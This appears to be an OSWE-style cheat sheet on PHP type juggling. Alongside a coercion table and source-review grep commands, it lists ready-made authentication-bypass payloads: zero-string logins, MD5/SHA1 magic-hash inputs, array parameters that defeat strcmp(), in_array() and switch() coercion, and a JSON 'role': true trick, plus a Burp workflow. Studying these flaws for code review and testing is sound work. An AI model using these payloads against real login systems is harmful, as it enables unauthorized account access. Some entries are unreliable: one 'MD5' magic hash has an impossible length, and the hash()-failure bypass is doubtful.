PHP Type Juggling
PHP loose comparison exploits: 0 == 'admin' bypass, magic hash 0e chains, strcmp() null return, in_array() coercion, switch() type confusion, json_decode abuse, and OSWE-style white-box identification. Every payload separated.
What is PHP Type Juggling
PHP has two equality operators: == (loose, coerces types) and === (strict, type + value). When == is used to compare user input against a password hash, admin check, or token, type coercion can make unequal values compare as equal.
This is an OSWE-critical vulnerability — found through source code review when developers use == instead of ===.
Detection — Source Code Review
Search the codebase for loose comparisons with user-controlled values:
grep -rn "==" --include="*.php" . | grep -E "\$_(GET|POST|COOKIE|REQUEST|SESSION)"
grep -rn "strcmp\|in_array\|switch\|json_decode" --include="*.php" .
Red flags:
if ($token == $stored_token) // loose — vulnerable
if (strcmp($pass, $hash) == 0) // vulnerable if $pass is array
if (in_array($role, $allowed)) // vulnerable without strict mode
if ($hash == "0e...") // magic hash comparison
Type Coercion Rules
| Comparison | Result | Why |
|---|---|---|
0 == "admin" | true | string “admin” casts to int 0 |
0 == "" | true | empty string casts to 0 |
"1" == "01" | true | both cast to int 1 |
"10" == "1e1" | true | 1e1 = 10.0 in scientific notation |
100 == "1e2" | true | 1e2 = 100.0 |
"0e12345" == "0e67890" | true | both evaluate to 0^n = 0 |
null == false | true | both falsy |
null == 0 | true | null casts to 0 |
null == "" | true | null casts to "" |
Exploit 1: Numeric String vs Zero
When a login checks $_GET['password'] == $correct_password and $correct_password is a string that doesn’t start with a digit:
?password=0
0 == "any_non_numeric_string" → true in PHP 7. (Removed in PHP 8 — PHP 8 changed this.)
Exploit 2: Magic Hashes (0e chains)
If the app hashes input with MD5/SHA1 then compares with ==:
if (md5($input) == $stored)
Find a value whose MD5 starts with 0e followed by only digits — PHP treats it as scientific notation (0 × 10^n = 0). So two different 0e hashes compare as equal.
Known MD5 magic hashes:
240610708 → 0e462097431906509019562988736854
QNKCDZO → 0e830400451993494058024219903391
aabg74k → 0e937826799230477098632869406888
aaK1STfY → 0e76658526655756207688271159624026
0e215962017 → 0e291242476940776845150308577824
SHA1 magic hashes:
10932435112 → 0e07766915004133176347055865026311692244
aaO8zKZF → 0e89257456677279068558073954252716165783
Submit any magic hash string as the password — if the stored hash is also a 0e hash, they compare equal.
Exploit 3: strcmp() Array Bypass
strcmp() returns 0 (equal) when given an array instead of a string — PHP throws a warning but returns NULL, and NULL == 0 is true:
if (strcmp($_POST['password'], $correct) == 0)
Submit the parameter as an array:
POST /login
password[]=anything
Or in JSON:
{"password": []}
strcmp([], "secret") → NULL, and NULL == 0 → true → auth bypass.
Exploit 4: in_array() without strict
if (in_array($_GET['role'], ['admin', 'user', 'mod']))
Without the third true (strict mode) argument, PHP coerces types:
?role=0 → true (0 == 'admin' in loose comparison)
?role=0.0 → true
Exploit 5: switch() Type Coercion
switch ($_GET['type']) {
case 0: // numeric admin check
?type=0foobar → matches case 0 (PHP casts "0foobar" to 0)
Exploit 6: json_decode Type Confusion
If the app json_decodes a JWT-like structure and uses ==:
$data = json_decode($input);
if ($data->role == 'admin')
Submit {"role": true} — true == 'admin' is true in PHP loose comparison.
Exploit 7: Hash Bypass (null / false return)
Some functions return false on failure. If compared with ==:
if (hash('sha256', $input) == false)
An input that causes hash() to fail returns false, and false == false → true.
Burp Suite workflow
- Proxy — intercept login/auth requests.
- Repeater — test
password=0,password[]=x(array),password=0e12345(magic hash). - For array bypass: use
Content-Type: application/x-www-form-urlencodedwithpassword[]=xorContent-Type: application/jsonwith{"password":[]}. - Source code review (OSWE): grep for
==comparisons with auth-related variables; look forstrcmp,in_array,switchon user input.